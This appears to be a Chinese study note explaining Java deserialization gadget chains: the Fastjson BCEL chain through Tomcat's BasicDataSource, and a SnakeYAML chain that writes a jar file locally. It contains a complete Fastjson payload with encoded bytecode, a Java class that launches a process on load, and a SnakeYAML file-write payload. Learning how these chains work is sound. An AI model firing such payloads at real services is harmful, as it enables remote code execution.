FastJsonBCEL

首先就是要介绍一下BCEL链

apache-BCEL

在类加载时我们可以将,类转为字节码然后实验classloader来加载字节码,像是我们的CC3中的defineCLass。而这个我们要学的这个链,其就是利用加载字节码的方法来命令执行。但又有点不同,因为CC3是直接加载字节码,而我们这个链是利用了forName来加载

链子分析

其payload如下

1
2
3
4
5
6
7
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}

我们直接看可以发现其实这个很短,就涉及到了两个类org.apache.tomcat.dbcp.dbcp2.BasicDataSourc和com.sun.org.apache.bcel.internal.util.ClassLoader

在反序列化时会触发到BasicDataSourc的getConnection

然后回走到createDataSource()方法

然后走到createConnectionFactory

最后回走到createConnectionFactory的forName里这里可以加载字节码,如果没有自定义ClassLoader就会直接通过forName来加载服务器上存在的类,这样子就无法达成我们的命令执行,所以我们要自定义ClassLoader,这里就直接使用BCEL的ClassLoader了。
像下面那样就可以实现命令执行

BECL加载字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package fastjson;

import com.sun.org.apache.bcel.internal.util.ClassLoader;

import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DDEMO {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\target\\fastjson\\test.class"));
String BECL = Utility.encode(code,true);
ClassLoader classLoader = new ClassLoader();
//classLoader.loadClass("$$BCEL$$"+BECL).newInstance();
Class.forName("$$BCEL$$"+BECL,true,classLoader);
}
}

//恶意
package fastjson;

import java.io.IOException;

public class test {
static {
try {
new ProcessBuilder("calc").start();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

}

所以我们需要控制driverClassName和driverClassLoader就可以命令执行了
即写出这样的payload

1
2
3
4
5
6
7
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$eb$7c$d8$JI$J$n$n$v$fd$a0I$a1u8$d4$97$de$40$i$40T$aa$ea$96$aaF$89$a2$9e6f$L$h$8c$N$f6$a6$ed$3f$ea$99$LHD$zw$7e$Ub$d6$a4$a1$b4$f5afw$e6$bd7o$c7W$d7$X$bf$A$bcF$a7$88$Z$y$9axd$e2$b1$85$tE$Yx$aa$c3$92$89g$sZEXh$9bxnb$99$n$bf$$C$a96$Y2v$a7$cb$90$dd$8a$f6$E$c3$ac$xC$f1at4$Q$f1$$$l$ET$a9$ba$91$cf$83$$$8f$a5$beO$8aYu$m$T$8d$fe$c2$T5L$a2$d0Q$oQk$M$d6$ba$lLt$Z$e1$ea$ee$90$7f$e5$8e$8c$9c$b7$3b$db$df$7dq$acd$U$S$ac$ec$v$ee$l$be$e7$c7$a9$k$b9c$uz$d1$u$f6$c5$h$a9$f5$LZ$ee$95$e6$96PB$99$a1$99$ea$E$3c$dcw$3e$c6$91$_$92ds$q$83$3d$R3T$eeZ$9e$8ae$b8O$f6$c8$b1$af$99$x$r$bc$c0K$86$f9$ff$d8$60X$bcc$7e$g$85J$k$89iS$93m$f2y$ef$7d$f7f$ed$M$86$c2$a7$d2$82$fd$d9$fd$db$c1$9a$deh$$Q$3c$s$40$dd$ee$b8$ff$b8$a7$j4$ed$3f$ca$bb$Hq$f4M$ef$82$a8hA$ffG$fd$Z$60$fa$fd$U$l$d0$cd$a1$cc$u$e7V$cf$c1N$d3$f6$y$c5$fcm$R$V$8a$a5$c9y$OU$ca$W$e6$a7$e4$93$J$ae$3d$86$d1$cf$feD$a6$9f$a9f$bds$e4$ce$90$ef$fd$40$f9$dd$YV$9f$84$L$97$a7$v$ae$86$GLd$d2$J$L$a4$a8$d5jd$ab$81$C$9ad$b0E$b3$7eOlR$ad$86z$8a$E$b1$8c$9e$89F$nmh$93$Po$A$db$98$cc$b5$a1$C$A$A"
}

但是因为其是通过调用getter来命令执行的,所以无法应用到snakeyaml

SnakeYAML无依赖不出网漏洞

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
这条链子是通过fastJson的一条链子改过来的
在P牛的文章中给出了链子改后

1
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["success.jar"],false],!!java.util.zip.Inflater { input: !!binary eJxLLE5JTCkGAAh5AnE= },1048576]]

上面的会写入一个文件,那么我们在学习SnakeYaML是曾学过ScriptEngineManager 的链子可以加载远程的恶意jar包,那么我们使用file://协议就可以加载本地的了

这样就可以实现一种不出网的利用

c3p0